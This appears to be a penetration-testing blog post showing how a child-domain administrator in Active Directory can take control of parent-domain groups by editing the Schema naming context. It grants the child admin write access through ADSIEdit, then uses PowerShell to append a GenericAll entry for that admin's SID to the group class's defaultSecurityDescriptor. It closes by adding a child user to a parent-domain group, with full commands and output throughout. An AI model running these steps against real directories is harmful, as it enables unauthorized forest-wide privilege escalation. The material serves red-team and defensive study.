In Active Directory the schema is a blueprint that defines the structure and attributes of objects within an Active Directory forest. The schema provides a set of rules and guidelines for creating, modifying, and deleting objects in the directory.
The schema is shared across all domains within an Active Directory forest. Changes to the schema impact all domains in the forest.
Active Directory contains partitions, known as Naming Contexts which are used to separate information;
- Schema NC: stores schema information that is replicated to domain controllers in all domains of the forest.
- Configuration NC: stores topology and other configuration data information that is replicated to domain controllers in all domains of the forest.
- Domain NC: store domain information such as users and computers that is replicated to domain controllers in that domain only.
If we have compromised a child domain, we can potentially modify the schema naming context to gain access to a parent domain. This could be used as an alternative to SID History Abuse, in the case that SID filtering has been enabled between domains.
The Attack
In this scenario, we’re assuming we are domain administrator in a child domain (child.bordergate.local). We are aiming to gain control of resources in the parent domain (bordergate.local).
First, we need to modify the Discretionary Access Control List (DACL) on the Schema container to add our compromised user. The easiest way to do this is with the ADSI editor.
Schema Container Permissions Modification
Active Directory Services Interface Editor (ADSI) can be used to view, and modify AD DS objects. Execute ADSIEdit.msc as SYSTEM (using PSExec), and open the Schema Naming Context.
Select the Schema container, and add a child domain administrator.
Select the Advanced button, select the Administrator account we just added, and ensure it’s configured for “This object and all descendant objects” and “Write all properties”.
We should now be able to modify any schema container. Our aim is to modify the group container, so we have full rights over new groups created in the parent domain.
Looking a the properties of the “Group” container, we can see we have write access to the object due to the changes we previously made.
DefaultSecurityDescriptor Modification
Next, we need to change the default security descriptor for the group container.
The DefaultSecurityDescriptor property specifies the Discretionary Access Control List (DACL) which is issued to new objects.
We can use the Get-ADObject cmdlet to view the DefaultSecurityDescriptor for the group container.
Get-ADObject "CN=group,CN=Schema,CN=Configuration,DC=bordergate,DC=local" -Properties DefaultSecurityDescriptor
DefaultSecurityDescriptor : D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;AO)(A;;RPLCLORC;;;PS)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b
11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)
DistinguishedName : CN=group,CN=Schema,CN=Configuration,DC=bordergate,DC=local
Name : Group
ObjectClass : classSchema
ObjectGUID : 11717604-1a20-4ced-8333-0d863ce5bf1a
To convert the Security Descriptor Definition Language (SDDL) string to something slightly more readable we can use ConvertFrom-SddlString
ConvertFrom-SddlString -Sddl "D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;AO)(A;;RPLCLORC;;;PS)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)" | Foreach-Object {$_.DiscretionaryAcl}
NT AUTHORITY\SELF: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)
NT AUTHORITY\Authenticated Users: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)
NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
BUILTIN\Account Operators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
CHILD\Domain Admins: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
NT AUTHORITY\Authenticated Users: AccessAllowed (WriteAttributes)
To modify the defaultSecurityDescriptor, we lookup a SID for a user we control (the child domain administrator in this case).
Get-ADUser Administrator
DistinguishedName : CN=Administrator,CN=Users,DC=child,DC=bordergate,DC=local
Enabled : True
GivenName :
Name : Administrator
ObjectClass : user
ObjectGUID : f027fc82-a73b-4592-8554-141e534a61df
SamAccountName : Administrator
SID : S-1-5-21-3282285589-3699175333-1759823265-500
Surname :
UserPrincipalName :
Then use Set-ADObject to append the SID to the descriptor we previous retrieved. We give the user GenericAll privileges using the SDDL of; (A;;GA;;;S-1-5-21-3282285589-3699175333-1759823265-500)
Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=bordergate,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;AO)(A;;RPLCLORC;;;PS)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(A;;GA;;;S-1-5-21-3282285589-3699175333-1759823265-500)'} -Verbose -server DC01.bordergate.local
Now, when a new group is created in the parent domain, the administrator of the child domain is able to add new members into it.
PS C:\Users\Administrator> Add-ADGroupMember -Identity "ServerAdmins" -Members (Get-AdUser bob -server CDC01.child.bordergate.local) -server dc01.bordergate.local
PS C:\Users\Administrator> Get-ADGroupMember -Identity "ServerAdmins" -server dc01.bordergate.local
distinguishedName : CN=bob,CN=Users,DC=child,DC=bordergate,DC=local
name : bob
objectClass : user
objectGUID : 34819c7e-a2d7-4ace-8681-6d68e449c0ac
SamAccountName : bob
SID : S-1-5-21-3282285589-3699175333-1759823265-1105
In Conclusion
This example shows how it’s possible to modify the defaultSecurityDescriptor for the Group container, however this could also be applied to other containers to change writes of new users and group policy objects.